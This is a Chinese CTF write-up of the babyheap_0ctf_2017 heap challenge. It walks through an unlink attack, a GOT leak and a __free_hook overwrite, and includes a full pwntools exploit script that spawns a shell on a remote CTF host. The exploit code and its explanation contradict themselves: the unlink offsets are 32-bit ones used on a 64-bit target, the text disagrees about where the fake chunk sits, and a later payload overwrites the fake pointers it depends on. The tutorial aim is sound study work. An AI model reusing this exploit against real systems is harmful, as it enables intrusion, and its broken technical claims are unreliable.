1. 从一道经典赛题看堆溢出漏洞的攻防本质
如果你刚开始接触CTF中的PWN方向,尤其是堆利用,那么
babyheap_0ctf_2017
这道题绝对是一个绕不开的里程碑。它不像一些简单的栈溢出题目那样直白,也不涉及过于复杂的堆风水技巧,而是恰到好处地展示了堆溢出漏洞最核心的破坏力——
通过改写堆块的管理元数据,最终劫持程序控制流
。这道题之所以经典,是因为它剥离了繁杂的干扰,将攻击者的目光精准地引向了
malloc
和
free
这两个最基础函数背后的复杂世界。我们今天要做的,就是亲手揭开这层帷幕,看看一个看似简单的“越界写”漏洞,如何一步步演变成夺取shell的利器。
很多新手在初次面对堆题目时会有一种无力感,面对一堆
malloc
和
free
调用不知从何下手。这很正常,因为堆利用的本质是对
glibc
内存管理器的“规则”进行攻击。你需要先理解它的规则(如
ptmalloc2
的bin机制、chunk结构),然后找到程序违反规则的地方(漏洞点),最后精心构造输入,让程序在遵循错误数据时,帮你完成攻击。
babyheap_0ctf_2017
就是一个完美的教学样本:程序逻辑清晰,漏洞点明显,利用链完整。通过它,你将掌握堆利用中最基础也最关键的技巧之一——
unlink
攻击。我会带你从零开始,分析程序、定位漏洞、设计利用思路,并给出每一行EXP代码的详细解释,确保你能看懂、能复现、更能理解背后的原理。
2. 程序逻辑分析与漏洞定位
首先,我们需要知道程序在做什么。通常,我们会用
checksec
查看保护机制,用反汇编工具(如
IDA Pro
或
Ghidra
)分析逻辑。
2.1 安全机制与功能菜单
用
checksec
检查,大概率会发现只开启了
NX
(栈不可执行)和
ASLR
(地址空间布局随机化)。没有
Canary
和
PIE
,这意味着栈溢出不好利用,但堆上的地址(如
libc
的基址)是随机的,我们需要想办法泄露。
用
IDA
打开程序,可以看到一个典型的菜单式逻辑:
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
这对应一个简单的堆管理器:
-
Allocate
: 调用
malloc申请指定大小的堆块。程序会用一个全局数组记录每个堆块的指针和大小,索引从0开始。 - Fill : 根据索引,向已分配的堆块中填充数据。 这里就是漏洞所在 。
-
Free
: 根据索引,调用
free释放堆块,并将指针置零,防止了Use-After-Free。 - Dump : 根据索引,打印堆块中的内容。这是我们 泄露地址信息 的关键。
程序的漏洞点非常清晰:在
Fill
函数中,它读取用户输入的长度,然后向对应堆块写入数据,
但没有检查输入长度是否小于或等于堆块当初申请的大小
。这就导致了堆溢出。
2.2 关键数据结构与堆布局规划
为了利用,我们必须理解程序如何管理堆块。通常,它会有一个结构体数组,比如:
struct heap_chunk {
char *ptr;
size_t size;
} chunks[16];
Allocate
时,
ptr = malloc(size)
,并记录
size
。
Fill
时,使用
read(0, chunks[idx].ptr, user_input_size)
,这里的
user_input_size
是我们可控的,可以大于
chunks[idx].size
。
假设我们申请了三个堆块:
- Chunk 0: 大小 0x80
- Chunk 1: 大小 0x80
- Chunk 2: 大小 0x80
在内存中,它们可能是连续排列的(取决于当时堆的布局)。我们的目标是利用Chunk 0的溢出,去覆盖与Chunk 1相关的关键数据。
注意 :现代
glibc的malloc实现中,size字段位于chunk头,而用户使用的指针ptr指向的是chunk的数据区。一个malloc(0x80)得到的chunk,其实际大小(含元数据)是0x90(0x80用户区 + 0x10 chunk头)。chunk头包含前一个chunk的大小(prev_size)和当前chunk的大小及标志位(size)。free操作会检查这些元数据的合法性。
3. 利用思路:Unlink攻击详解
面对堆溢出,一个经典的利用手法是
unlink
。
unlink
是
glibc
在合并空闲堆块时的一个宏操作,它会将某个空闲块从其所在的双向链表(如
small bin
或
unsorted bin
)中摘除。如果我们可以伪造一个空闲块,并诱使
glibc
对其执行
unlink
,就能实现一次任意地址写。
3.1 Unlink宏的传统利用原理
在旧版本
glibc
(约2.26之前)中,
unlink
宏类似如下:
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
FD->bk = BK; // *(P->fd + 12) = P->bk
BK->fd = FD; // *(P->bk + 8) = P->fd
}
其中
P
指向要脱链的假chunk。如果我们能控制
P->fd
和
P->bk
的值,就能向
*(P->fd + 12)
和
*(P->bk + 8)
写入任意数据。这被称为“
unlink
写”。
攻击通常分几步:
- 布局堆块 :申请多个相邻堆块(如A, B, C)。
-
溢出伪造
:利用A的溢出,覆盖B的chunk头,将B伪造成一个“已释放”状态的空闲块。同时,在B的用户数据区(即我们可控的区域)提前布置好伪造的
fd和bk指针。 -
触发Unlink
:释放B后面的一个块C(或通过其他操作),使得堆管理器尝试向前或向后合并,对伪造的B执行
unlink操作。 -
实现写
:通过精心构造的
fd和bk,让unlink操作改写全局数组(chunks)中某个堆块指针的值,例如将其改为指向全局数组本身。 -
任意读写
:由于堆块指针被改成了我们可控的地址(全局数组),后续通过
Fill或Dump操作这个索引,就能实现对任意地址的读或写。
3.2 本题利用链设计
在本程序中,全局数组
chunks
是一个非常好的目标。因为它存储着所有堆块的指针,改写它就能控制程序认为的“堆块”地址。
具体到本题,一个常见的利用链如下:
-
申请四个小堆块
:目的是构造连续的堆布局,并为伪造创造空间。例如,申请
chunk 0(0x80),chunk 1(0x80),chunk 2(0x80),chunk 3(0x80),以及一个防止与top chunk合并的屏障块chunk 4(0x80)。 -
在Chunk 1中布置伪造的chunk结构
:我们需要在
chunk 1的用户数据区,提前写好一个伪造的、小尺寸的“空闲chunk”的数据,包括它的size、fd和bk。 -
利用Chunk 0溢出覆盖Chunk 1的头
:通过
Fillchunk 0,溢出修改chunk 1的chunk头。关键是将chunk 1的size改小(例如改为0x90),并将其PREV_INUSE位清零,这会让glibc认为chunk 1前面的一个chunk(即我们伪造在chunk 0区域的那个)是空闲的。 同时,需要将chunk 1的prev_size字段设置为一个值,使得prev_size + chunk 1的地址正好指向我们之前在chunk 0区域布置的伪造chunk。 -
释放Chunk 1以触发Unlink
:当我们
free(chunk 1)时,glibc会检查它前面的chunk是否空闲(根据PREV_INUSE位)。发现是“空闲”后,它会尝试将前一个假chunk和chunk 1合并。合并的第一步,就是将那个假chunk从它所在的链表中unlink出来。这时,unlink操作会按照我们预设的fd和bk进行写操作。 -
将全局数组指针改写为指向自身
:我们将伪造chunk的
fd和bk设置为指向全局数组chunks附近的某个值。经过unlink计算后,最终效果是将chunks数组中某个条目(例如chunk 0的指针)改写为&chunks[0] - 0x18之类的值。这样,程序就认为chunk 0的指针指向了chunks数组内部。 -
通过被篡改的指针实现任意读写
:现在,对
chunk 0进行Fill操作,实际上是在向chunks数组里写数据。我们可以借此覆盖其他chunk的指针,比如将chunk 1的指针覆盖为free@got(free函数在GOT表中的地址)。 -
泄露Libc地址
:用
Dump功能去读chunk 1(现在指向free@got),就能得到free函数在内存中的实际地址,从而计算出libc的基址。 -
劫持控制流
:知道了
libc基址,就能算出system等函数的地址。再次利用Fillchunk 0,将chunk 1的指针覆盖为__malloc_hook或__free_hook的地址(这是libc中的函数指针,调用malloc/free时会触发),并将其内容写为system的地址。 -
获取Shell
:最后,释放一个内容为
/bin/sh\x00的堆块(或通过其他方式触发free),实际上就会调用system("/bin/sh"),从而拿到shell。
4. 完整EXP分步实现与原理剖析
下面,我们结合一份典型的EXP代码,一步步拆解实现细节。假设你的环境是
Ubuntu 16.04
或
18.04
,对应
glibc 2.23
或
2.27
,这是
unlink
攻击最适用的版本。
4.1 步骤一:建立连接与基础函数封装
首先,我们需要用
pwntools
与程序交互,并封装好四个功能函数。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# p = process('./babyheap_0ctf_2017')
p = remote('node4.buuoj.cn', 12345) # 根据实际题目修改
def alloc(size):
p.sendlineafter('Command: ', '1')
p.sendlineafter('Size: ', str(size))
def fill(idx, size, content):
p.sendlineafter('Command: ', '2')
p.sendlineafter('Index: ', str(idx))
p.sendlineafter('Size: ', str(size))
p.sendafter('Content: ', content)
def free(idx):
p.sendlineafter('Command: ', '3')
p.sendlineafter('Index: ', str(idx))
def dump(idx):
p.sendlineafter('Command: ', '4')
p.sendlineafter('Index: ', str(idx))
p.recvuntil('Content: \n')
return p.recvline()[:-1] # 去掉换行符
实操心得 :在写EXP时,务必使用
p.sendlineafter()和p.recvuntil()来稳定交互,避免因网络延迟或程序输出缓冲导致的数据错位。将log_level设为'debug'可以在开发时看到所有收发数据,方便调试。
4.2 步骤二:堆块布局与伪造
我们按计划申请堆块。大小选择0x80是为了进入
small bin
范围,方便后续利用。
# 1. 布局堆块
alloc(0x80) # chunk 0
alloc(0x80) # chunk 1
alloc(0x80) # chunk 2
alloc(0x80) # chunk 3
alloc(0x80) # chunk 4 作为屏障,防止与top chunk合并
现在,我们需要在
chunk 1
内部伪造一个小的空闲chunk结构。为什么在
chunk 1
内部?因为后续我们要通过溢出修改
chunk 1
的头,让它“认为”前面有一个空闲块,而这个“前面”的块就落在
chunk 0
的区域内。我们需要在
chunk 0
的末尾布置这个假chunk的数据。
首先,填充
chunk 0
,在其末尾布置假chunk:
# 2. 在chunk 0末尾布置伪造的chunk (fake_chunk)
# fake_chunk的size需要是0x90(0x80用户区+0x10头),并设置PREV_INUSE为0(表示前一个chunk空闲是假的,其实不存在)
# 但注意,这个size是给“前一个chunk”用的,我们暂时不管,重点是把fd和bk写好。
# 我们先填充chunk 0的大部分内容为垃圾数据,只在最后0x10字节布置fd和bk。
payload = b'A' * (0x80) # 填满chunk 0的用户区
payload += p64(0) + p64(0x81) # 假chunk的prev_size和size。size=0x81表示大小0x80,且PREV_INUSE=1(这个假chunk本身标记为已分配,避免被合并)
# 关键:伪造的fd和bk指针。我们的目标是让unlink写修改chunks数组。
# 假设chunks数组的地址是0x6020c0(需要用gdb调试获取),我们想让chunk 0的指针被改为指向chunks数组自身。
# 在unlink时,会执行:*(fd + 12) = bk, *(bk + 8) = fd。
# 如果我们设置 fd = &chunks[0] - 0x18, bk = &chunks[0] - 0x10
# 那么 *(fd+12) = *(&chunks[0]-0x18+12) = *(&chunks[0]-0xc) ≈ 写入bk
# 计算有点绕,一个经典公式是:fd = target_addr - 0x18, bk = target_addr - 0x10
# 这样unlink后,target_addr处会被写入target_addr自身。
# 我们的target_addr就是chunks数组中chunk 0指针的位置,即&chunk0_ptr。
# 我们需要先泄露或推断出chunks数组的地址。通常,全局变量在.bss段,其与libc的偏移是固定的,或者可以通过堆地址与.bss段的偏移推算。
# 这里假设我们通过gdb调试已知:chunks数组地址 = 0x6020c0
chunks_array_addr = 0x6020c0
target = chunks_array_addr + 0x10 # 指向chunks[0]的指针?需要仔细计算。通常chunks[0]指针在0x6020c0。
# 更精确的做法:在gdb中查看,chunks是一个结构体数组,每个元素8字节指针+8字节大小。
# 所以&chunks[0].ptr = 0x6020c0, &chunks[0].size = 0x6020c8。
# 我们想改写的是chunks[0].ptr。所以target = &chunks[0].ptr = 0x6020c0。
target = chunks_array_addr
fd = target - 0x18
bk = target - 0x10
payload += p64(fd) + p64(bk) # 假chunk的fd和bk
# 再填充一些数据,确保假chunk的“下一个chunk”的prev_size字段正确(防止安全检查)
payload += b'B' * (0x80 - 0x10) # 填充到chunk 0的结束
# 注意:以上payload长度已经超过了chunk 0的0x80大小,这正是我们要的溢出效果。
fill(0, len(payload), payload)
注意事项 :计算
fd和bk是unlink攻击中最容易出错的一步。不同版本的glibc和不同的目标地址,偏移可能不同。务必使用gdb动态调试,在触发unlink前查看内存,确认伪造的chunk数据是否正确,以及fd和bk指向的地址是否可写。一个常见的检查是glibc的unlink宏中会对chunk size和相邻chunk的prev_size做验证,需要保证伪造的size和下一个chunk的prev_size匹配。
4.3 步骤三:溢出修改Chunk头并触发Unlink
现在,我们需要修改
chunk 1
的chunk头,使其
prev_inuse
位为0,并设置正确的
prev_size
,指向我们在
chunk 0
末尾伪造的那个chunk。
# 3. 溢出修改chunk 1的chunk头
# chunk 1的真实地址 = chunk 0的地址 + 0x90 (chunk 0总大小)
# 我们在chunk 0末尾伪造的chunk,其地址应该是 chunk 1的地址 - 0x90
# 所以 prev_size = 0x90
prev_size = 0x90
# chunk 1原本的大小是0x90(0x80用户区+0x10头),我们将其PREV_INUSE位清零,即 size = 0x90
# 注意:size字段的低3位是标志位,其中最低位是PREV_INUSE。0x90的二进制是10010000,最低位是0,符合要求。
size = 0x90
# 构造覆盖payload
overwrite_payload = b'C' * (0x80) # 填满chunk 0的用户区(这已经是第二次写了,会覆盖之前的数据,但没关系)
overwrite_payload += p64(prev_size) + p64(size) # 覆盖chunk 1的prev_size和size字段
fill(0, len(overwrite_payload), overwrite_payload)
接下来,释放
chunk 1
,触发
unlink
合并操作。
# 4. 释放chunk 1,触发unlink
free(1)
如果一切顺利,
unlink
宏会执行,将
chunks[0].ptr
修改为
target - 0x18
,即
0x6020c0 - 0x18 = 0x6020a8
。现在,程序认为
chunk 0
的指针指向地址
0x6020a8
,而这个地址位于
chunks
数组内部(
chunks
数组从
0x6020c0
开始,
0x6020a8
在其前方不远处)。
4.4 步骤四:利用被篡改的指针实现任意读写
现在,我们对
chunk 0
进行
Fill
操作,写入的数据会写到
0x6020a8
这个地址开始的地方。我们可以精心构造数据,来覆盖
chunks
数组中其他项的内容。
# 5. 通过chunk 0覆盖chunks数组,将chunk 1的指针改为free@got地址
# 首先,需要知道free@got的地址。可以通过ELF文件获取。
elf = ELF('./babyheap_0ctf_2017')
free_got = elf.got['free']
# 我们需要计算从0x6020a8到chunks[1].ptr的偏移。
# chunks[0].ptr 在 0x6020c0
# 我们写入的地址是 0x6020a8
# chunks[1].ptr 在 0x6020c0 + 0x10 = 0x6020d0 (因为每个结构体16字节)
# 所以偏移 = 0x6020d0 - 0x6020a8 = 0x28
offset_to_chunk1_ptr = 0x28
payload = b'D' * offset_to_chunk1_ptr + p64(free_got)
fill(0, len(payload), payload)
现在,
chunks[1].ptr
指向了
free
函数在GOT表中的地址。我们可以用
Dump
功能读取它,从而泄露
libc
地址。
# 6. 泄露libc基址
free_addr = u64(dump(1).ljust(8, b'\x00'))
log.success('free address: ' + hex(free_addr))
# 根据使用的libc版本,计算基址。假设是libc-2.23.so, free偏移为0x0000000000084f00
libc_base = free_addr - 0x84f00
system_addr = libc_base + 0x0000000000045390 # system偏移
log.success('libc base: ' + hex(libc_base))
log.success('system address: ' + hex(system_addr))
常见问题 :泄露出的地址可能最后两位是
\x00,u64转换会失败。务必用.ljust(8, b'\x00')填充到8字节。另外,libc版本至关重要。在远程攻击时,需要根据题目提供的环境或常见版本(如libc-2.23.so)来确定偏移。如果偏移不对,计算出的system地址会是错的。
4.5 步骤五:劫持Free Hook获取Shell
有了
libc
地址,我们可以将
__free_hook
(或
__malloc_hook
)的内容覆盖为
system
地址。
__free_hook
是一个函数指针,当
free
被调用时,如果
__free_hook
非空,就会跳转到它指向的地址执行。
# 7. 将chunk 1的指针改为__free_hook地址
free_hook_addr = libc_base + 0x00000000003c67a8 # __free_hook偏移,根据libc版本定
payload2 = b'D' * offset_to_chunk1_ptr + p64(free_hook_addr)
fill(0, len(payload2), payload2)
# 8. 向__free_hook写入system地址
fill(1, 8, p64(system_addr))
最后,我们只需要释放一个内容为
/bin/sh
的堆块,就能触发
system("/bin/sh")
。我们可以用之前申请的
chunk 2
来存放
/bin/sh
。
# 9. 在chunk 2中写入/bin/sh
fill(2, 8, b'/bin/sh\x00')
# 10. 释放chunk 2,触发system("/bin/sh")
free(2)
p.interactive()
5. 调试技巧与常见问题排查
即使有了EXP,一次成功也并非易事。堆利用高度依赖于内存布局和版本差异,调试至关重要。
5.1 使用GDB进行动态调试
-
启动调试
:
gdb ./babyheap_0ctf_2017,在main函数或菜单函数处下断点。 -
查看堆布局
:使用
pwndbg或gef插件的heap命令非常方便。例如,在每次alloc或free后使用heap bins查看空闲链表,使用heap chunks查看所有chunk的状态。 -
关键断点
:在
fill函数读入数据后、free函数内部(如_int_free)设置断点,观察内存变化。特别是触发unlink前,检查伪造chunk的size、fd、bk以及下一个chunk的prev_size是否正确。 -
检查写入地址
:在
fill覆盖chunks数组后,用x/gx 0x6020c0等命令查看指针是否被正确修改。
5.2 常见错误与解决方案
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
free
时直接崩溃(
SIGSEGV
)
|
伪造的chunk元数据不合法,
unlink
时访问了不可读写的地址(如
fd
/
bk
指向非法地址)。
|
用gdb检查
free
前伪造chunk的内存内容,确保
fd
和
bk
指向可写区域(如.bss段)。确保
size
与下一个chunk的
prev_size
匹配。
|
unlink
后程序未崩溃,但后续
fill
或
dump
出错
|
unlink
写操作修改的地址不正确,导致
chunks
数组指针错乱。
|
重新计算
target
、
fd
、
bk
的偏移。确认
chunks
数组的准确地址。使用
pwntools
的
elf.symbols
或
elf.got
获取更可靠的地址。
|
泄露出的
libc
地址看起来不对(如最高位不是
0x7f
)
|
1. 泄露时接收数据不完整或错位。
2. 使用的
libc
版本偏移不对。
|
1. 检查
dump
函数的实现,确保接收了足够字节并用
u64
正确解析。
2. 尝试使用题目提供的
libc.so
,或用
LibcSearcher
等工具根据泄露的地址匹配版本。
|
最终
free(/bin/sh)
没有弹出shell
|
1.
__free_hook
或
system
地址写错。
2.
__free_hook
所在页面不可写(极罕见)。
3.
system
参数不正确(不是
/bin/sh
字符串指针)。
|
1. 用gdb在
free
前检查
__free_hook
处的值是否为
system
地址。
2. 检查
/bin/sh
字符串是否确实写入了目标chunk,且其地址作为参数传递给
free
(即
free
的参数是该chunk的用户区指针)。
|
5.3 关于Libc版本与偏移
这是远程攻击最大的变数。本地调试用的
libc
和远程服务器可能不同。
-
确定偏移
:如果题目提供了
libc.so文件,用readelf -s libc.so.6 | grep free和grep system、grep __free_hook来查找偏移。 -
工具辅助
:使用
pwntools的DynELF模块进行动态解析,或使用LibcSearcher库,根据泄露的一个函数地址来搜索匹配的libc版本。 -
多版本适配
:在EXP中可以将常见的
libc-2.23.so、libc-2.27.so的偏移做成字典,根据泄露地址的特征自动选择。
6. 从这道题延伸的堆利用学习路径
babyheap_0ctf_2017
的
unlink
利用是堆世界的“Hello World”。掌握它之后,你应该继续深入:
-
理解
glibc malloc源码 :这是根本。了解ptmalloc2如何管理fastbin、small bin、large bin、unsorted bin,理解malloc_consolidate、unlink、house of系列攻击的原理。 -
学习更多利用技巧
:
-
Fastbin Attack
:利用
fastbin的单链表特性,实现任意地址分配。 -
Unsorted Bin Attack
:利用
unsorted bin的链表操作,实现向任意地址写入一个大数。 -
Tcache Poisoning
(
glibc 2.26+):针对更新版本的tcache机制,其安全性更弱,利用起来往往更简单。 -
House of系列
:如
House of Einherjar、House of Orange、House of Rabbit等,针对特殊场景的复杂利用。
-
Fastbin Attack
:利用
-
掌握现代缓解机制
:如
glibc 2.32引入的safe-linking对单链表指针的异或加密,需要相应的解密操作才能成功攻击。 -
工具链熟练度
:精通
gdb/pwndbg/gef调试,熟练使用pwntools编写EXP,了解angr、z3等符号执行工具在复杂约束求解中的应用。
堆漏洞利用就像在内存的迷宫中按照既定规则搭建多米诺骨牌,需要精确的计算、耐心的调试和对底层机制的深刻理解。每一次成功的
exploit
,都是对计算机系统理解的一次升华。从这道题开始,耐心搭建你的第一副骨牌吧。

592

被折叠的 条评论
为什么被折叠?



